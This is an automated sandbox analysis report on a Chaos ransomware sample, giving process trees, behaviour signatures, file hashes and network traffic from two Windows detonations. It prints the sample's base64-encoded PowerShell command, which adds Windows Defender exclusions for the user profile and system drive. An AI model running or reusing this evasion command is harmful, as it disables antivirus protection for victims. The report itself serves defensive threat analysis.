Analysis Overview
SHA256
4265e1f20a3443c5d9401bc2a27d4014ae75c931d60dcd87124e9d01a943a66e
Threat Level: Known bad
The file Version 6.8.exe was found to be: Known bad.
Malicious Activity Summary
Chaos
Chaos Ransomware
Executes dropped EXE
Checks computer location settings
Enumerates physical storage devices
Unsigned PE
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-03-14 19:27
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-03-14 19:27
Reported
2024-03-14 19:31
Platform
win7-20240221-en
Max time kernel
119s
Max time network
139s
Command Line
Signatures
Chaos
Chaos Ransomware
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Version 2.8.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Version 2.8.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Version 2.8.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Version 2.8.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\Version 2.8.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\Version 6.8.exe
"C:\Users\Admin\AppData\Local\Temp\Version 6.8.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAcQBnACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG0AeABwACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHIAZABpACMAPgA="
C:\Users\Admin\AppData\Roaming\Version 2.8.exe
"C:\Users\Admin\AppData\Roaming\Version 2.8.exe"
C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2644 -s 568
Network
Files
memory/3008-0-0x0000000000040000-0x000000000018E000-memory.dmp
memory/3008-1-0x000007FEF51C0000-0x000007FEF5BAC000-memory.dmp
memory/3008-2-0x000000001ADC0000-0x000000001AEFE000-memory.dmp
memory/3008-3-0x000000001B120000-0x000000001B1A0000-memory.dmp
C:\Users\Admin\AppData\Roaming\Version 2.8.exe
| MD5 | 77a0989f046d5404700debc97727ca2b |
| SHA1 | d0bdfdc67862e0bfa491d5d4a3313382a7921625 |
| SHA256 | 99b88ce97064536c370e630245018b15bf87c0c1113e2c4c95bfb7dc1078b647 |
| SHA512 | f918e3bf1d488cb77f06ede3d565396b8a6391f372e79fd6d148e1afec311143332bd91cb6d3f05fd6b348d40bfd4ae02adc79e20c6031aaa08c1d29d5b83aa9 |
memory/2644-14-0x00000000008D0000-0x000000000090E000-memory.dmp
memory/2644-15-0x000007FEF51C0000-0x000007FEF5BAC000-memory.dmp
memory/3008-16-0x000007FEF51C0000-0x000007FEF5BAC000-memory.dmp
memory/2552-17-0x000000001B100000-0x000000001B3E2000-memory.dmp
memory/2552-18-0x0000000002570000-0x0000000002578000-memory.dmp
memory/2552-19-0x000007FEEEA10000-0x000007FEEF3AD000-memory.dmp
memory/2552-20-0x00000000028A0000-0x0000000002920000-memory.dmp
memory/2552-21-0x000007FEEEA10000-0x000007FEEF3AD000-memory.dmp
memory/2552-22-0x00000000028A0000-0x0000000002920000-memory.dmp
memory/2552-23-0x00000000028A0000-0x0000000002920000-memory.dmp
memory/2552-24-0x000007FEEEA10000-0x000007FEEF3AD000-memory.dmp
memory/2644-25-0x000007FEF51C0000-0x000007FEF5BAC000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-03-14 19:27
Reported
2024-03-14 19:30
Platform
win10v2004-20240226-en
Max time kernel
149s
Max time network
153s
Command Line
Signatures
Chaos
Chaos Ransomware
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\Version 6.8.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Version 2.8.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\Version 2.8.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1708 wrote to memory of 2872 | N/A | C:\Users\Admin\AppData\Local\Temp\Version 6.8.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1708 wrote to memory of 2872 | N/A | C:\Users\Admin\AppData\Local\Temp\Version 6.8.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1708 wrote to memory of 4988 | N/A | C:\Users\Admin\AppData\Local\Temp\Version 6.8.exe | C:\Users\Admin\AppData\Roaming\Version 2.8.exe |
| PID 1708 wrote to memory of 4988 | N/A | C:\Users\Admin\AppData\Local\Temp\Version 6.8.exe | C:\Users\Admin\AppData\Roaming\Version 2.8.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\Version 6.8.exe
"C:\Users\Admin\AppData\Local\Temp\Version 6.8.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAcQBnACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG0AeABwACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHIAZABpACMAPgA="
C:\Users\Admin\AppData\Roaming\Version 2.8.exe
"C:\Users\Admin\AppData\Roaming\Version 2.8.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 76.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 9.228.82.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 175.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.59.114.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 41.110.16.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 133.211.185.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.142.211.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 100.5.17.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 119.110.54.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 140.71.91.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 204.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 160.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 193.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 134.71.91.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 195.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 30.243.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 141.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 177.178.17.96.in-addr.arpa | udp |
| GB | 96.17.178.204:80 | tcp |
Files
memory/1708-0-0x0000000000510000-0x000000000065E000-memory.dmp
memory/1708-1-0x00007FFD659E0000-0x00007FFD664A1000-memory.dmp
memory/1708-2-0x000000001B290000-0x000000001B3CE000-memory.dmp
memory/1708-3-0x0000000002860000-0x0000000002870000-memory.dmp
C:\Users\Admin\AppData\Roaming\Version 2.8.exe
| MD5 | 77a0989f046d5404700debc97727ca2b |
| SHA1 | d0bdfdc67862e0bfa491d5d4a3313382a7921625 |
| SHA256 | 99b88ce97064536c370e630245018b15bf87c0c1113e2c4c95bfb7dc1078b647 |
| SHA512 | f918e3bf1d488cb77f06ede3d565396b8a6391f372e79fd6d148e1afec311143332bd91cb6d3f05fd6b348d40bfd4ae02adc79e20c6031aaa08c1d29d5b83aa9 |
memory/4988-17-0x00000000000C0000-0x00000000000FE000-memory.dmp
memory/1708-18-0x00007FFD659E0000-0x00007FFD664A1000-memory.dmp
memory/4988-19-0x00007FFD659E0000-0x00007FFD664A1000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_22glfn0k.r1i.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2872-30-0x00007FFD659E0000-0x00007FFD664A1000-memory.dmp
memory/2872-29-0x00000269DEC10000-0x00000269DEC32000-memory.dmp
memory/2872-31-0x00000269DE890000-0x00000269DE8A0000-memory.dmp
memory/2872-32-0x00000269DE890000-0x00000269DE8A0000-memory.dmp
memory/2872-35-0x00007FFD659E0000-0x00007FFD664A1000-memory.dmp
memory/4988-36-0x00007FFD659E0000-0x00007FFD664A1000-memory.dmp